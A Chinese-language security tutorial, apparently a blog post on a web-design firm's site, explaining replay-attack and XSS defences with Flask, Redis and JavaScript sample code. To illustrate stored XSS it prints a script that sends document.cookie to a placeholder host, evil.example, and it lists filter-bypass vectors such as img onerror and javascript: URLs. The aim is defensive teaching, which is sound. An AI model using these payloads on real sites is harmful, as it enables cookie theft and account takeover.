资讯动态

重放攻击与XSS注入:接口安全的双层防护实战指南

发布时间:2026/10/21 6:19:10 来源:尧图企业网站定制
重放攻击和 XSS 注入是 Web 安全里最常被提起、但又最容易被做得“半吊子”的两个问题。重放攻击本身没什么惊天动地的技术含量就是把你发出去的请求原样再发一遍可它造成的后果往往是重复下单、重复扣款、投票被刷这类业务事故一旦发生开发背锅都背得莫名其妙。XSS 注入则是另一条线上的问题攻击者把一段脚本安全地送进你的页面然后你的浏览器就帮他干活了——偷 Cookie、篡改页面内容、冒充你发消息什么都干得出来。我在实际项目里见过不少系统接口签名做了、HTTPS 也上了但最后依然被重放攻击打穿也见过前端自以为过滤了所有输入却因为一个输出点没编码整站沦陷。这篇文章就把这两条线从头到尾捋清楚它们到底怎么发生、防护方案为什么这么设计、代码怎么落地、上线后有哪些坑全程按我自己的实战经验来写。适合刚接触安全的后端开发、需要独立负责接口安全的全栈开发者也包括那些想在面试里把这类问题讲清楚的求职者。1. 动手前先看清敌人的攻击路径1.1 重放攻击靠的是什么重放攻击的可怕之处在于攻击者根本不关心你的加密有多强。他不需要破解你的密码也不需要篡改你的请求内容他只需要把某个请求完整地复制下来然后在另一个时间点原样发送出去。举个例子。一个支付接口长这样POST /api/payment Content-Type: application/json {order_id: 20240001, amount: 100, from: user_A, to: user_B}如果服务端收到这个请求后就直接执行扣款、转账那么攻击者把这个请求抓下来换个账号、换个网络环境再发一次服务端只要没有识别出“这又是同样的请求”就会再执行一次扣款。这不是什么高深黑客技术就是最原始的“抄作业”但造成的损失却是实打实的。想要理解防护方案得先理解重放攻击成立的前提。它需要两个条件第一请求中没有任何“这次有效”的标记第二服务端没有记住“这个请求我已经处理过了”。换句话说只要请求能携带一个“一次性凭证”服务端又能验证这个凭证的有效性并做到仅使用一次重放攻击就会被卡死。后面讲到的 timestamp、nonce、签名本质都是在解决这两件事。1.2 XSS 注入的三种常见形态XSS 全称是跨站脚本攻击Cross-Site Scripting。它的攻击路径和重放攻击完全不同——重放攻击欺负的是服务端不记录状态XSS 欺负的是浏览器太听话。举一个最典型的存储型 XSS 例子。假设你的网站有个评论区用户提交评论时填了下面这段内容scriptfetch(https://evil.example/steal?cookie document.cookie)/script如果服务端不做任何处理就把这段内容存进数据库之后任何一个用户打开这个评论区页面浏览器都会把这一行当作 HTML 标签解析并执行。结果是每个访客的 Cookie 都被悄悄传给了攻击者攻击者拿到 Cookie 后就可以冒充别人登录。XSS 按触发位置分为三类存储型 XSS恶意脚本被持久化保存在服务器上所有访问该页面的用户都会中招。评论区、用户昵称、富文本内容都是高发区。反射型 XSS恶意脚本藏在 URL 参数里服务端把参数原样拼到响应页面里用户只要点击了攻击者精心构造的链接就会触发。DOM 型 XSS脚本不经过服务端直接在浏览器端操作 DOM 时被注入。前端用了innerHTML、document.write这类接口又没对数据做转义就容易中招。很多人以为“只要过滤了script标签就安全了”实际上绕过手段多得很img srcx onerroralert(1)、svg onload...、javascript:alert(1)、还有各种编码变形黑名单思路在这种对抗里永远处于劣势。1.3 为什么把这两个问题放在一起讲表面上看一个是请求层的攻击一个是浏览器层的攻击但本质都在讲同一件事信任边界。服务端默认相信“凡是发到我这里的请求都是真实用户的操作”所以重放攻击能得逞浏览器默认相信“凡是页面里解析出来的 HTML 都是网站自己的代码”所以 XSS 能得逞。防护的本质就是打破这种默认信任——服务端必须验证每一个请求的新鲜度和完整性浏览器必须把用户可控的数据当作普通文本而不是代码来对待。这个思维贯穿整篇文章。你理解了这个底层逻辑后面设计防护方案就会发现其实很顺防重放是对请求做“新鲜度一次性”验证防 XSS 是对数据做“输入分类输出编码执行策略”管控。两者叠加才是完整的 Web 安全底线。2. 重放攻击的防护体系一次性凭证与完整性校验2.1 时间戳与时间窗口防重放的第一步是给请求加上时间标记。客户端在发起请求时带上当前的时间戳服务端收到后检查这个时间戳是否在允许的时间窗口内。比如我设置 300 秒5 分钟窗口超过 5 分钟的请求直接拒绝。这是最基础的一道闸门它解决的是“过期请求”的问题——攻击者就算拿到了一个请求包只要过了时间窗口这个包就报废了。实现上有个细节需要注意服务端要有一定的宽容度。客户端服务器时钟不一致是常态尤其是用户手机时间改乱了、跨时区访问都会导致时间戳偏差。所以校验时不是判断“等于当前时间”而是判断“是否落在 ±300 秒范围内”import time def check_timestamp(ts: int, window: int 300) - bool: now int(time.time()) return abs(now - ts) window但只有时间戳是不够的。因为攻击者可以在时间窗口内立刻重放比如请求发出后 2 秒内就被抓包重放服务端根本没有拒绝的理由。所以还需要第二道闸门——Nonce。2.2 Nonce每个请求都只能成功一次Nonce 是一次性随机数客户端每次请求都生成一个唯一值服务端记录所有已经使用过的 Nonce。同一个 Nonce 如果再次出现说明这是一个重放的请求直接拒绝。Nonce 的实现有三个注意点。第一是唯一性一般用 UUID 或带随机成分的字符串核心保证同一客户端在同一请求里不会重复第二是必须和时间戳绑定只验 nonce 不验时间戳是很多人犯的错误攻击者可以把一个合法 nonce 保存下来过几天再用来重放照样会被接受第三是服务端要有存储和过期清理机制不可能无限记住所有 nonce。我常用的方式是存 Redis用SETNX命令判断是否已存在并设置与时间窗口一致的过期时间import uuid import redis r redis.Redis(hostlocalhost, port6379, db0) def verify_nonce(nonce: str, timestamp: int, window: int 300) - bool: # 非时间窗口内直接拒绝 if abs(int(time.time()) - timestamp) window: return False # SETNX 返回 True 表示设置成功说明 nonce 第一次出现 return bool(r.set(nonce, 1, nxTrue, exwindow))这里用了 Redis 的原子操作避免了“先查再设”两步操作在并发下可能产生的竞态问题——两个请求同时判断同一个 nonce 不存在时都放行那就白做了。一定要用带原子性的SETNX这是实战中容易踩的关键点。2.3 签名既防篡改也防重放有了时间戳和 nonce 还缺一个东西你怎么知道请求里的参数没被改动过攻击者虽然不能重放旧请求但他可以抓到一个合法请求后把里面的转账金额改了再发出来时间戳和 nonce 都是新的照样能通过校验。这就需要消息认证码。客户端用约定好的密钥对请求参数做 HMAC 哈希服务端用同样的密钥重新计算一遍两边不一致就说明参数被人动过手脚。典型的签名参数组合是sign HMAC_SHA256(secret, app_id timestamp nonce sorted_params)客户端把所有参数按固定顺序拼接加上时间戳和 nonce用密钥做 HMAC 运算生成一串签名字符串。服务端拿到请求后用同样的参数组合和同样的密钥重新计算签名比对两个结果。这里有两个细节拼接顺序要固定否则两边算出来不一致。密钥绝不能放前端。明文密钥一旦泄露任何人都能自己伪造合法签名。这里就要把前面几道防线串起来理解签名保证请求内容没被篡改时间戳保证请求没过期nonce 保证请求没被重放。三者是不可分割的一套组合少了任何一个都会打开攻击面。2.4 业务层的幂等性兜底就算上面几层全部做对了现实里还是会漏。因为有些重放不发生在 HTTP 层面——可能是客户端网络重试机制自动重发了可能是消息队列重复投递了也可能攻击者绕过了你的网关直接把请求打到内部服务上。HTTP 层的防护挡不住这些情况。所以在业务层任何涉及资金、库存、状态变更的接口都必须具备“幂等性”。所谓幂等就是同一个操作执行一次和执行多次结果相同。具体做法通常是客户端生成一个全局唯一的幂等键Idempotency Key比如订单号、流水号。服务端在处理请求前先去数据库查这个键是否已经存在。已存在就直接返回上次的结果不再重复执行。我在某个支付改造项目中就是给数据库表加上request_id唯一索引插入时如果违反唯一约束就说明请求已经处理过直接返回已处理的结果。这种兜底设计比 HTTP 层的防重放更可靠因为它即使面对完全一样的请求也能靠数据库的唯一索引挡住重复写入。3. XSS 注入的防护体系一层一层地收紧浏览器执行边界3.1 输入验证与输入清洗先把最脏的入口管住很多团队的 XSS 防护只做了一步“过滤输入”然后以为万事大吉。实际上输入验证处理得好能挡住大量低水平攻击但只靠它不可能完全解决 XSS原因后面会说。输入验证要解决的核心是两方面数据类型必须合法长度必须被限制。比如用户的年龄字段只允许 0-120 的数字订单金额字段只允许最大两位小数的数字用户昵称限制在 20 个字符以内。这些约束不是为了防 XSS 本身而是为了减少攻击者的操作空间——一旦某个字段允许了超出预期的字符集后续编码和过滤的难度都会剧增。对于确实需要接受 HTML 的内容比如富文本编辑器就必须引入白名单机制而不是黑名单。白名单的思路是“只有列出来的标签和属性才允许”其余一律剔除。常见的富文本白名单标签包括p、br、strong、a、ul、ol、li等而script、iframe、object在默认情况下绝不出现。属性方面href只允许http、https、mailto等协议on*事件属性一律禁止。一个细节即使做了白名单a hrefjavascript:alert(1)这种写法还是可能在合法标签里藏脚本所以协议白名单也是必须的。这一层不是为了完美是为了把攻击面压缩到可用代码后续处理的范围内。3.2 输出编码XSS 防护的真正核心前面说输入过滤不能解决 XSS因为现实中有太多场景根本不该过滤输入——用户可以在评论区写一篇包含代码示例的技术文章你总不能把都改成lt;存进数据库吧正确做法是“存原文在输出时编码”。输出编码的原则是在什么上下文输出就用什么编码。因为 HTML 解析器、属性值环境、JavaScript 环境、CSS 环境对特殊字符的解释都不一样不能一个函数走天下。输出位置需要转义的字符转义后示例HTML 正文、、、、lt;scriptgt;HTML 属性值引号、空格、quot;JavaScript 字符串、、\、换行符\x27URL 参数空格、、#、%%20、%26CSS 上下文引号、反斜杠、控制字符\22发现没有——同一个script在 HTML 正文里编码成lt;scriptgt;就安全了但如果它被拼接到script标签内的 JS 代码里HTML 编码反而没用你必须做 JavaScript 上下文的转义。区分输出上下文是我见过所有 XSS 防护失效案例里最普通却又最致命的一步。大多数现代框架自带输出编码机制。以 Vue 为例模板里的插值表达式{{ userInput }}默认自动转义React 里{userInput}也是转义后输出。但这不意味着你可以完全不写防护代码因为框架的自动转义只覆盖模板输出如果你用了v-html或dangerouslySetInnerHTML就等于主动关掉了防护。3.3 CSP即使前面全漏了还有最后一道防线内容安全策略Content Security Policy是一个 HTTP 响应头用来告诉浏览器“这个页面允许加载哪些资源、执行哪些脚本”。配置得当的 CSP 可以让你在前面所有防护都失效的情况下依然把 XSS 的攻击效果降到最低。一个比较基础的 CSP 模板Content-Security-Policy: default-src self; script-src self nonce-随机值; style-src self nonce-随机值; img-src self data:;它的含义是所有资源默认只允许来自同源地址脚本和样式只允许同源加载且必须带正确的 nonce 属性图片允许同源和 data 协议。也就是说就算攻击者把scriptalert(1)/script注入了页面由于该脚本既不是同源文件也没有正确的 nonce浏览器会直接拒绝执行。CSP 的难点在于配置粒度。配得太松形同虚设配得太紧会导致线上业务瘫痪——比如你用了第三方统计脚本、地图脚本、cdn 资源没有在 CSP 里列出来就会被拦。所以正确做法是分两步走先以Content-Security-Policy-Report-Only模式上线只收集违规报告不拦截观察一段时间确认没有误伤后再切换成强制模式。这个上线策略很多人都不知道直接上强策略结果前端页面全瘫只好连夜回滚。3.4 Cookie 防护让偷到手的凭证失去价值XSS 攻击的核心目的之一是偷 Cookie。如果你的 Cookie 设置了 HttpOnly 属性document.cookie 就读取不到它XSS 就算执行成功也拿不到你最重要的会话凭证。同样是设置 Cookie 时还有几个属性值得认真对待HttpOnly禁止 JavaScript 读取保护会话 Cookie。Secure仅允许 HTTPS 传输。SameSiteLax/Strict限制跨站请求携带 Cookie对 CSRF 也有一定防护作用。Domain不要过度放宽只在最精确的域名下设置。有人会问HttpOnly 是不是就彻底防住 XSS 偷 Cookie 了不是攻击者还可以通过 XSS 直接调用接口操作比如改密码、发文章。所以 Cookie 防护只是减少损失不能替代输出编码和 CSP。4. 从零开始实现一个带防重放和防 XSS 的接口4.1 整体设计我拿一个真实的模拟项目来演示——某个系统的转账接口。客户端需要发起转账服务端要保证两点同一个请求不能被重复执行任何注入脚本都影响不到后续页面。整个流程是这样客户端生成timestamp和nonce对请求参数做 HMAC 签名。服务端校验签名是否一致、时间戳是否在窗口内、nonce 是否已使用。业务处理前检查幂等键重复请求直接返回原结果。任何从数据库取出来要渲染到页面上的内容输出前统一做编码处理。全局响应加 CSP 头。我用 Python Flask 来写服务端代码方便展示核心逻辑。4.2 签名生成与校验先定义密钥与参数排序规则import hashlib import hmac import time import uuid from flask import Flask, request, jsonify # 实际项目中这个密钥应存放在配置中心或环境变量绝不能硬编码 APP_SECRET your-very-secret-key app Flask(__name__) def generate_sign(params: dict, timestamp: int, nonce: str) - str: # 参数名排序后拼接保证前后端计算一致 keys sorted(params.keys()) raw .join(f{k}{params[k]} for k in keys) raw f{raw}timestamp{timestamp}nonce{nonce} return hmac.new(APP_SECRET.encode(), raw.encode(), hashlib.sha256).hexdigest()服务端校验函数def verify_sign(params: dict, timestamp: int, nonce: str, sign: str) - bool: expect generate_sign(params, timestamp, nonce) return hmac.compare_digest(expect, sign)这里用了hmac.compare_digest而不是普通字符串相等比较。原因是普通在比较过程中只要遇到第一个不匹配字符就会终止存在时间侧信道攻击的风险compare_digest会保证整个字符串的每一个字符都被比较耗时恒定。4.3 时间戳与 Nonce 校验中间件from functools import wraps REDIS_CLIENT None # 实际项目中初始化 Redis 连接 def anti_replay_check(f): wraps(f) def wrapper(*args, **kwargs): data request.get_json(forceTrue, silentTrue) or {} timestamp data.get(timestamp, 0) nonce data.get(nonce, ) sign data.get(sign, ) params {k: v for k, v in data.items() if k not in (timestamp, nonce, sign)} # 1. 时间窗口校验 if abs(int(time.time()) - int(timestamp)) 300: return jsonify({code: 401, msg: request expired}), 401 # 2. 签名校验 if not verify_sign(params, int(timestamp), nonce, sign): return jsonify({code: 403, msg: invalid sign}), 403 # 3. nonce 唯一性校验原子操作 if not REDIS_CLIENT.set(nonce, 1, nxTrue, ex300): return jsonify({code: 403, msg: replay detected}), 403 return f(*args, **kwargs) return wrapper我在实际项目里会把时间窗口设成 300 秒原因有两个一是给客户端留出充裕的重试时间二是对绝大多数业务来说 5 分钟足够久再长就没有意义了——真正需要客户能重试更久的是离线支付场景那种场景应该走独立的防重放机制而不是无限延长全局窗口。4.4 业务幂等性处理这一层跟 HTTP 防重放解耦。即使前面的层全部被绕过数据库也能兜底。在转账表里加一个request_id字段并建立唯一索引ALTER TABLE transfer_records ADD COLUMN request_id VARCHAR(64) NOT NULL; ALTER TABLE transfer_records ADD UNIQUE INDEX idx_request_id (request_id);业务代码里的逻辑是先尝试插入违反唯一约束就说明已经处理过。from sqlalchemy.exc import IntegrityError app.route(/api/transfer, methods[POST]) anti_replay_check def transfer(): data request.get_json() request_id data[request_id] try: db.session.add(TransferRecord(request_idrequest_id, ...)) db.session.commit() except IntegrityError: db.session.rollback() return jsonify({code: 200, msg: duplicate request, returning original result}) # 执行实际的转账逻辑 ...这种设计下HTTP 层挡住绝大多数攻击者业务层兜底应对重试、重复投递、内部调用绕过等情况。两层各自独立任何一个失效都不会导致致命问题。4.5 XSS 防护落地一个基于白名单的清洗函数先把服务端返回的一段用户内容做安全清洗。这里我写一个简单但实用的白名单清洗函数用于富文本场景import re from html import escape ALLOWED_TAGS {p, br, strong, em, a, ul, ol, li, blockquote, code, pre} ALLOWED_ATTRS {a: {href, title}} ALLOWED_SCHEMES {http, https, mailto} def sanitize_html(value: str) - str: 极简白名单清洗器。生产环境建议使用成熟的 HTML 清洗库。 # 1. 用正则找出所有标签逐个判断是否在白名单内 def replace_tag(match): full_tag match.group(0) tag_name_match re.match(r/?([a-zA-Z0-9]), full_tag) if not tag_name_match: return escape(full_tag) tag_name tag_name_match.group(1).lower() if tag_name not in ALLOWED_TAGS: return escape(full_tag) # 2. 检查属性 attr_part re.search(r[^], full_tag).group(0) allowed_attrs ALLOWED_ATTRS.get(tag_name, set()) attrs re.findall(r([a-zA-Z-])\s*\s*([^]*), attr_part) cleaned_attrs [] for name, val in attrs: name_lower name.lower() if name_lower not in allowed_attrs: continue if name_lower href: scheme val.split(:, 1)[0].lower() if scheme not in ALLOWED_SCHEMES: continue val escape(val, quoteTrue) cleaned_attrs.append(f{name_lower}{val}) if tag_name a: return fa { .join(cleaned_attrs)} if cleaned_attrs else a return f{tag_name}{ .join(cleaned_attrs) if cleaned_attrs else } return re.sub(r[^], replace_tag, value)注意函数名我写的是“极简”真实生产里我绝不会手写这种正则清洗器因为 HTML 解析远比正则复杂各种畸形标签会让你防不胜防。有成熟的 HTML 清洗库可以少踩很多坑。这里展示正则版只是为了解释“白名单”的实现思路。4.6 CSP 全局配置与前端联动服务端给所有页面响应统一加 CSP 头app.after_request def set_security_headers(response): response.headers[Content-Security-Policy] ( default-src self; script-src self nonce-随机值; style-src self nonce-随机值; img-src self data:; object-src none; base-uri self; frame-ancestors self ) response.headers[X-Content-Type-Options] nosniff response.headers[X-Frame-Options] DENY return response前端这边Vue 或 React 项目里凡是用了v-html、dangerouslySetInnerHTML的地方要显式先跑一遍清洗函数再做插值。至于请求签名前端可以用一个请求拦截器统一处理async function signRequest(url, params) { const timestamp Math.floor(Date.now() / 1000); const nonce crypto.randomUUID(); // 参数排序拼接与后端规则保持一致 const keys Object.keys(params).sort(); const raw keys.map(k ${k}${params[k]}).join() timestamp${timestamp}nonce${nonce}; const sign await hmacSHA256(raw, APP_SECRET); // 使用 Web Crypto API return { ...params, timestamp, nonce, sign }; }这个示例中有一个问题密钥APP_SECRET一旦放在前端就等于公开了。真正的安全做法是客户端先向服务端申请一个临时签名密钥比如基于 OAuth 客户端的短期 token或者由服务端下发一次性签名参数。我这里只是为了演示签名计算的流程实际项目请务必把密钥控制在服务端。5. 上线前后最容易踩的坑5.1 服务器时间不同步请求被大量误杀我第一次上线时间戳防重放时就遇到一个诡异的现象iOS 用户的请求大量报“request expired”安卓用户却一切正常。排查到最后发现是部分 iOS 设备开启了“自动设置时间”后系统时间本身就慢了几分钟导致请求时间戳比服务器晚太多。解决方案不是让用户校准手机而是服务端把时间窗口放宽到 300 秒甚至更长或者引入“最大允许时钟偏差”配置项针对不同类型的客户端给不同的容差。5.2 Nonce 的 Redis 过期时间没设置内存爆了另一个高频问题nonce 校验时只写了SETNX没设置过期时间。刚开始流量小没感觉等上线一个月Redis 里攒了一堆永远不会再被查询的 nonce内存持续上涨。正确做法是设置过期时间并且过期时间要大于时间戳窗口——这是必须的如果 nonce 在时间窗口内就过期了攻击者就能把窗口内的 nonce 拿到过期后再重放。5.3 CSP 上线后第三方资源全部被拦CSP 的唯一难点是“既要安全又要可用”。上线前务必先把所有页面引用的外部资源全部列出来包括统计脚本、在线客服、地图、CDN、字体文件、图片域名。我踩过的坑是页面里有一个第三方字体加载失败整个页面的字体全部回退视觉上看起来像出了 bug。建议先开Content-Security-Policy-Report-Only模式把违规报告接收到自己的日志服务至少观察一周真实流量确认没有漏掉任何必要的资源再正式开启拦截。5.4 富文本清理把正常内容也清坏了白名单标签列表给得太小会让用户正常的排版内容被洗掉。比如你没放table标签用户从 Word 里复制过来的表格直接被删光没放span文字颜色样式全丢。这类问题不是安全风险但业务方会找你吵架。所以白名单列表一定要根据真实业务场景梳理特别是有编辑器的系统最好结合编辑器导出的 HTML 结构来配置。5.5 误判重放前端重试机制与防重放打架还有一个常见的业务冲突客户端网络不好时自动重试但每次重试都带了同一个 nonce结果服务端把正常重试请求当成重放攻击拒绝了。解决办法是让重试请求生成新的 nonce但保留相同的request_id。HTTP 层看是“新请求”业务层通过request_id识别为同一笔业务幂等逻辑会保证不会重复处理。两种机制各管一层分工明确就不会冲突。6. 一些补充的检查清单把前面所有内容浓缩成一张表适合在代码 review 和上线前自查检查项说明常见错误时间窗口校验请求是否在允许的时间范围内窗口设得过大等于没有Nonce 一次性每个请求是否仅能使用一次只用了随机数但没存状态签名完整性参数是否被篡改使用普通比较而非恒定时间比较幂等键业务层是否防重复执行依赖数据库主键但没处理冲突输入验证类型、长度、格式是否受限只做前端校验后端不校验输出编码是否按上下文正确转义一句代码在 HTML 和 JS 中混用同一编码CSP是否限制脚本执行来源直接上强策略导致线上功能失效Cookie 属性HttpOnly/Secure/SameSite 是否设置登录 Cookie 未设 HttpOnly按这套清单逐条核对下来你的接口安全水位至少能覆盖大部分常规攻击路径。要特别说明的是安全是一个持续对抗的过程没有任何一套配置能保证永远安全但把这几件基础的事情做扎实绝大多数入门级攻击者就会被挡在门外。最后分享一个我自己的心得做安全防护不要想着一步到位。先按照“时间戳 Nonce 签名 幂等键 输出编码 CSP”的顺序逐步搭起来每一层都独立验证再上线观察效果。很多团队一上来就想搞一套完美方案结果半年都没落地反倒是从最基础的时间戳和输入校验开始改两周就能见效。安全改造这种事先跑起来比追求完美重要得多。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑